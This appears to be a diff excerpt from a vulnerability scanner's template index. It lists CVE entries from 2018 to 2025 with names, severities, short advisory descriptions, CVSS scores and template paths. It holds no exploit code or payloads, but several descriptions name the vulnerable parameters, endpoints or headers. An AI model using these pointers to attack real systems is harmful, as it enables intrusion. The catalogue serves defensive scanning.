{"ID":"CVE-2018-8006","Info":{"Name":"Apache ActiveMQ \u003c=5.15.5 - Cross-Site Scripting","Severity":"medium","Description":"Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-8006.yaml"}
|
||||
{"ID":"CVE-2018-8024","Info":{"Name":"Apache Spark UI - Cross-Site Scripting","Severity":"medium","Description":"Apache Spark UI before 2.3.2 is vulnerable to XSS via unsanitized query string parameters in the /jobs/ endpoint.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-8024.yaml"}
|
||||
{"ID":"CVE-2018-8033","Info":{"Name":"Apache OFBiz 16.11.04 - XML Entity Injection","Severity":"high","Description":"Apache OFBiz 16.11.04 is susceptible to XML external entity injection (XXE injection).\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-8033.yaml"}
|
||||
@@ -885,6 +887,7 @@
|
||||
{"ID":"CVE-2020-11853","Info":{"Name":"Micro Focus Operations Bridge Manager \u003c=2020.05 - Remote Code Execution","Severity":"high","Description":"Micro Focus Operations Bridge Manager in versions 2020.05 and below is vulnerable to remote code execution via UCMDB. The vulnerability allows remote attackers to execute arbitrary code on affected installations of Data Center Automation. An attack requires network access and authentication as a valid application user. Originated from Metasploit module (#14654).\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-11853.yaml"}
|
||||
{"ID":"CVE-2020-11854","Info":{"Name":"Micro Focus UCMDB - Remote Code Execution","Severity":"critical","Description":"Micro Focus UCMDB is susceptible to remote code execution. Impacted products include Operation Bridge Manager versions 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, 10.63,10.62, 10.61, 10.60, 10.12, 10.11, 10.10 and all earlier versions, and Operations Bridge (containerized) 2020.05, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05. 2018.02 and 2017.11. 3.), and Application Performance Management versions 9,51, 9.50 and 9.40 with UCMDB 10.33 CUP 3.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11854.yaml"}
|
||||
{"ID":"CVE-2020-11930","Info":{"Name":"WordPress GTranslate \u003c2.8.52 - Cross-Site Scripting","Severity":"medium","Description":"WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-11930.yaml"}
|
||||
{"ID":"CVE-2020-11975","Info":{"Name":"Apache Unomi - Remote Code Execution","Severity":"critical","Description":"Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process, enabling attackers to execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11975.yaml"}
|
||||
{"ID":"CVE-2020-11978","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Remote Code Execution","Severity":"high","Description":"Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use).","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2020/CVE-2020-11978.yaml"}
|
||||
{"ID":"CVE-2020-11984","Info":{"Name":"Apache HTTP Server - Remote Code Execution","Severity":"critical","Description":"Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-11984.yaml"}
|
||||
{"ID":"CVE-2020-11991","Info":{"Name":"Apache Cocoon 2.1.12 - XML Injection","Severity":"high","Description":"Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-11991.yaml"}
|
||||
@@ -1069,6 +1072,7 @@
|
||||
{"ID":"CVE-2020-36333","Info":{"Name":"ThemeGrill Demo Importer \u003c 1.6.2 - Database Reset","Severity":"critical","Description":"ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2020/CVE-2020-36333.yaml"}
|
||||
{"ID":"CVE-2020-36365","Info":{"Name":"Smartstore \u003c4.1.0 - Open Redirect","Severity":"medium","Description":"Smartstore (aka \"SmartStoreNET\") before 4.1.0 contains an open redirect vulnerability via CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-36365.yaml"}
|
||||
{"ID":"CVE-2020-36510","Info":{"Name":"WordPress 15Zine \u003c3.3.0 - Cross-Site Scripting","Severity":"medium","Description":"WordPress 15Zine before 3.3.0 is vulnerable to reflected cross-site scripting because the theme does not sanitize the cbi parameter before including it in the HTTP response via the cb_s_a AJAX action.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-36510.yaml"}
|
||||
{"ID":"CVE-2020-36708","Info":{"Name":"WordPress Epsilon Framework Themes \u003c=2.4.8 - Remote Code Execution","Severity":"critical","Description":"WordPress themes including Shapely \u003c= 1.2.7, NewsMag \u003c= 2.4.1, Activello \u003c= 1.4.0, Illdy \u003c= 2.1.4, Allegiant \u003c= 1.2.2, Newspaper X \u003c= 1.3.1, Pixova Lite \u003c= 2.0.5, Brilliance \u003c= 1.2.7, MedZone Lite \u003c= 1.2.4, Regina Lite \u003c= 2.0.4, Transcend \u003c= 1.1.8, Affluent \u003c= 1.1.0, Bonkers \u003c= 1.0.4, Antreas \u003c= 1.0.2, Sparkling \u003c= 2.4.8, and NatureMag Lite \u003c= 1.0.4 contain a function injection caused by epsilon_framework_ajax_action, letting unauthenticated attackers call functions and achieve remote code execution, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-36708.yaml"}
|
||||
{"ID":"CVE-2020-36728","Info":{"Name":"WordPress Plugin Adning Advertising \u003c 1.5.6 - Arbitrary File Upload","Severity":"medium","Description":"The Adning Advertising plugin for WordPress versions below 1.5.6 is vulnerable to arbitrary file upload, allowing attackers to upload malicious files to the server.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2020/CVE-2020-36728.yaml"}
|
||||
{"ID":"CVE-2020-4463","Info":{"Name":"IBM Maximo Asset Management Information Disclosure - XML External Entity Injection","Severity":"high","Description":"IBM Maximo Asset Management is vulnerable to an\nXML external entity injection (XXE) attack when processing XML data.\nA remote attacker could exploit this vulnerability to expose\nsensitive information or consume memory resources.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2020/CVE-2020-4463.yaml"}
|
||||
{"ID":"CVE-2020-5191","Info":{"Name":"PHPGurukul Hospital Management System - Cross-Site Scripting","Severity":"medium","Description":"PHPGurukul Hospital Management System in PHP 4.0 contains multiple cross-site scripting vulnerabilities. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-5191.yaml"}
|
||||
@@ -2153,6 +2157,7 @@
|
||||
{"ID":"CVE-2023-1880","Info":{"Name":"Phpmyfaq v3.1.11 - Cross-Site Scripting","Severity":"medium","Description":"Phpmyfaq v3.1.11 is vulnerable to reflected XSS in send2friend because the 'artlang' parameter is not sanitized.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-1880.yaml"}
|
||||
{"ID":"CVE-2023-1890","Info":{"Name":"Tablesome \u003c 1.0.9 - Cross-Site Scripting","Severity":"medium","Description":"Tablesome before 1.0.9 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-1890.yaml"}
|
||||
{"ID":"CVE-2023-1892","Info":{"Name":"Sidekiq \u003c 7.0.8 - Cross-Site Scripting","Severity":"critical","Description":"An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.\n","Classification":{"CVSSScore":"9.6"}},"file_path":"http/cves/2023/CVE-2023-1892.yaml"}
|
||||
{"ID":"CVE-2023-1893","Info":{"Name":"Login Configurator \u003c=2.1 - Cross-Site Scripting","Severity":"medium","Description":"Login Configurator WordPress plugin \u003c= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-1893.yaml"}
|
||||
{"ID":"CVE-2023-20073","Info":{"Name":"Cisco VPN Routers - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement mechanisms in the context of file uploads. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to upload arbitrary files to the affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-20073.yaml"}
|
||||
{"ID":"CVE-2023-2009","Info":{"Name":"Pretty Url \u003c= 1.5.4 - Cross-Site Scripting","Severity":"medium","Description":"Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2023/CVE-2023-2009.yaml"}
|
||||
{"ID":"CVE-2023-20198","Info":{"Name":"Cisco IOS XE Web UI - Command Injection","Severity":"critical","Description":"A vulnerability in the web UI component of Cisco IOS XE Software could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system. This vulnerability is due to improper input validation in the web UI. An attacker could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the underlying operating system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-20198.yaml"}
|
||||
@@ -2228,6 +2233,7 @@
|
||||
{"ID":"CVE-2023-27032","Info":{"Name":"PrestaShop AdvancedPopupCreator - SQL Injection","Severity":"critical","Description":"In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-27032.yaml"}
|
||||
{"ID":"CVE-2023-27034","Info":{"Name":"Jms Blog - SQL Injection","Severity":"critical","Description":"The module Jms Blog (jmsblog) from Joommasters contains a Time Based SQL injection vulnerability. This module is for the PrestaShop e-commerce platform and mainly provided with joommasters PrestaShop themes\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-27034.yaml"}
|
||||
{"ID":"CVE-2023-27159","Info":{"Name":"Appwrite \u003c=1.2.1 - Server-Side Request Forgery","Severity":"high","Description":"Appwrite through 1.2.1 is susceptible to server-side request forgery via the component /v1/avatars/favicon. An attacker can potentially access network resources and sensitive information via a crafted GET request, thereby also making it possible to modify data and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-27159.yaml"}
|
||||
{"ID":"CVE-2023-27163","Info":{"Name":"Request-Baskets \u003c= 1.2.1 - Server Side Request Forgery","Severity":"medium","Description":"Request-Baskets \u003c= 1.2.1 allows unauthenticated SSRF via the forward_url parameter when creating a new basket.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2023/CVE-2023-27163.yaml"}
|
||||
{"ID":"CVE-2023-27179","Info":{"Name":"GDidees CMS v3.9.1 - Arbitrary File Download","Severity":"high","Description":"GDidees CMS v3.9.1 and lower was discovered to contain an arbitrary file download vulenrability via the filename parameter at /_admin/imgdownload.php.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-27179.yaml"}
|
||||
{"ID":"CVE-2023-27292","Info":{"Name":"OpenCATS - Open Redirect","Severity":"medium","Description":"OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2023/CVE-2023-27292.yaml"}
|
||||
{"ID":"CVE-2023-2732","Info":{"Name":"MStore API \u003c= 3.9.2 - Authentication Bypass","Severity":"critical","Description":"The MStore API plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.2. This is due to insufficient verification on the user being supplied during the add listing REST API request through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the user id.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2732.yaml"}
|
||||
@@ -2375,6 +2381,7 @@
|
||||
{"ID":"CVE-2023-37679","Info":{"Name":"NextGen Mirth Connect - Remote Code Execution","Severity":"critical","Description":"Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-37679.yaml"}
|
||||
{"ID":"CVE-2023-37728","Info":{"Name":"IceWarp Webmail Server v10.2.1 - Cross Site Scripting","Severity":"medium","Description":"Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability via the color parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37728.yaml"}
|
||||
{"ID":"CVE-2023-37979","Info":{"Name":"Ninja Forms \u003c 3.6.26 - Cross-Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37979.yaml"}
|
||||
{"ID":"CVE-2023-37988","Info":{"Name":"Contact Form Generator \u003c= 2.5.5 - Cross-Site Scripting","Severity":"medium","Description":"The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-37988.yaml"}
|
||||
{"ID":"CVE-2023-38035","Info":{"Name":"Ivanti Sentry - Authentication Bypass","Severity":"critical","Description":"A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-38035.yaml"}
|
||||
{"ID":"CVE-2023-38040","Info":{"Name":"Revive Adserver 5.4.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected XSS vulnerability exists in Revive Adserver 5.4.1 and earlier versions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38040.yaml"}
|
||||
{"ID":"CVE-2023-38192","Info":{"Name":"SuperWebMailer 9.00.0.01710 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-38192.yaml"}
|
||||
@@ -3044,6 +3051,7 @@
|
||||
{"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
|
||||
{"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in ingress-nginx https-//github.com/kubernetes/ingress-nginx where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
|
||||
{"ID":"CVE-2025-1323","Info":{"Name":"WP-Recall – Plugin \u003c= 16.26.10 - Unauthenticated SQL Injection","Severity":"high","Description":"The WP-Recall – Registration, Profile, Commerce \u0026 More plugin for WordPress is vulnerable to SQL Injection via the 'databeat' parameter in all versions up to, and including, 16.26.10 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1323.yaml"}
|
||||
{"ID":"CVE-2025-1562","Info":{"Name":"Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit - Broken Access Control","Severity":"critical","Description":"The Recover WooCommerce Cart Abandonment, Newsletter, Email Marketing, Marketing Automation By FunnelKit plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation due to a missing capability check on the install_or_activate_addon_plugins() function and a weak nonce hash in all versions up to, and including, 3.5.3. This makes it possible for unauthenticated attackers to install arbitrary plugins on the site that can be leveraged to further infect a vulnerable site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1562.yaml"}
|
||||
{"ID":"CVE-2025-1595","Info":{"Name":"EasyCVR \u003c=2.1.2 - Information Disclosure","Severity":"medium","Description":"A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1595.yaml"}
|
||||
{"ID":"CVE-2025-1661","Info":{"Name":"HUSKY – Products Filter Professional for WooCommerce \u003c= 1.3.6.5 - Unauthenticated Local File Inclusion","Severity":"critical","Description":"The HUSKY – Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1661.yaml"}
|
||||
{"ID":"CVE-2025-1743","Info":{"Name":"Pichome 2.1.0 - Arbitrary File Read","Severity":"high","Description":"A vulnerability, which was classified as critical, was found in zyx0814 Pichome 2.1.0. This affects an unknown part of the file /index.php?mod=textviewer. The manipulation of the argument src leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-1743.yaml"}
|
||||
@@ -3063,6 +3071,7 @@
|
||||
{"ID":"CVE-2025-24813","Info":{"Name":"Apache Tomcat Path Equivalence - Remote Code Execution","Severity":"critical","Description":"Path Equivalence- 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24813.yaml"}
|
||||
{"ID":"CVE-2025-24893","Info":{"Name":"XWiki Platform - Remote Code Execution","Severity":"critical","Description":"Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the confidentiality, integrity, and availability of the whole XWiki installation. This vulnerability has been patched in XWiki 15.10.11, 16.4.1, and 16.5.0RC1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-24893.yaml"}
|
||||
{"ID":"CVE-2025-24963","Info":{"Name":"Vitest Browser Mode - Local File Read","Severity":"medium","Description":"Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host- true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host- true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-24963.yaml"}
|
||||
{"ID":"CVE-2025-25231","Info":{"Name":"Omnissa Workspace ONE UEM - Path Traversal","Severity":"high","Description":"Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-25231.yaml"}
|
||||
{"ID":"CVE-2025-25257","Info":{"Name":"Fortinet FortiWeb - SQL Injection","Severity":"critical","Description":"An improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] in FortiWeb may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-25257.yaml"}
|
||||
{"ID":"CVE-2025-2539","Info":{"Name":"File Away \u003c= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File Read","Severity":"high","Description":"The File Away plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the ajax() function in all versions up to, and including, 3.9.9.0.1. This makes it possible for unauthenticated attackers, leveraging the use of a reversible weak algorithm, to read the contents of arbitrary files on the server, which can contain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-2539.yaml"}
|
||||
{"ID":"CVE-2025-2563","Info":{"Name":"User Registration \u0026 Membership \u003c= 4.1.1 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The User Registration \u0026 Membership plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 4.1.1. This is due to insufficient restrictions on role type in the 'prepare_members_data()' function. This makes it possible for unauthenticated attackers to create newuser accounts with the 'administrator' role, allowing complete control over the affected WordPress site.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2563.yaml"}
|
||||
@@ -3084,12 +3093,15 @@
|
||||
{"ID":"CVE-2025-2775","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2775.yaml"}
|
||||
{"ID":"CVE-2025-2776","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2776.yaml"}
|
||||
{"ID":"CVE-2025-2777","Info":{"Name":"SysAid On-Prem \u003c= 23.3.40 - XML External Entity","Severity":"critical","Description":"SysAid On-Prem versions \u003c= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-2777.yaml"}
|
||||
{"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
|
||||
{"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
|
||||
{"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
|
||||
{"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
|
||||
{"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
|
||||
{"ID":"CVE-2025-2907","Info":{"Name":"Order Delivery Date Pro for WooCommerce \u003c 12.3.1 - Arbitrary Option Update","Severity":"critical","Description":"The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2907.yaml"}
|
||||
{"ID":"CVE-2025-29085","Info":{"Name":"Vipshop Saturn Console \u003c= 3.5.1 - SQL Injection via ClusterKey Component","Severity":"critical","Description":"SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29085.yaml"}
|
||||
{"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
|
||||
{"ID":"CVE-2025-29925","Info":{"Name":"XWiki REST API - Private Pages Disclosure","Severity":"high","Description":"A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-29925.yaml"}
|
||||
{"ID":"CVE-2025-29927","Info":{"Name":"Next.js Middleware Bypass","Severity":"critical","Description":"Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.\nThe vulnerability allows attackers to bypass middleware security controls by sending a specially crafted\n'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-29927.yaml"}
|
||||
